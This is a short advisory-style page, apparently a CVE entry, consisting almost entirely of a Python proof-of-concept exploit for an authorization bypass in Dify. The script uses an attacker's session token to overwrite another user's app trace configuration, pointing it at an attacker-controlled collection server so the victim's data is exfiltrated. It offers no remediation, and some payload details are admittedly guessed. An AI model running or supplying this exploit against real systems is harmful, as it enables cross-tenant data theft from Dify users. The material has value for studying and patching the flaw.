CVE-2026-41947 Dify授权绕过致数据泄露漏洞

import requests # PoC for CVE-2026-41947: Dify Authorization Bypass via Trace Configuration # Attacker sets up a malicious trace endpoint to capture data MALICIOUS_TRACE_URL = "http://attacker-controlled-server.com/collect" TARGET_DIFY_URL = "https://target-dify-instance.com" # Attacker obtains session token after registering a free account ATTACKER_SESSION_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {ATTACKER_SESSION_TOKEN}", "Content-Type": "application/json" } # The victim's App ID (could be enumerated or guessed) VICTIM_APP_ID = "app-uuid-of-victim-12345" # Payload to hijack the trace configuration payload = { "enabled": True, "provider": "custom", # or whatever param triggers the external trace "config": { "endpoint": MALICIOUS_TRACE_URL } } # Exploit: Send PUT request to the vulnerable endpoint # The API fails to check if the attacker owns the VICTIM_APP_ID endpoint_url = f"{TARGET_DIFY_URL}/console/api/apps/{VICTIM_APP_ID}/trace-config" response = requests.put(endpoint_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Trace configuration for {VICTIM_APP_ID} has been hijacked.") print(f"[+] Data is now being redirected to {MALICIOUS_TRACE_URL}") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text)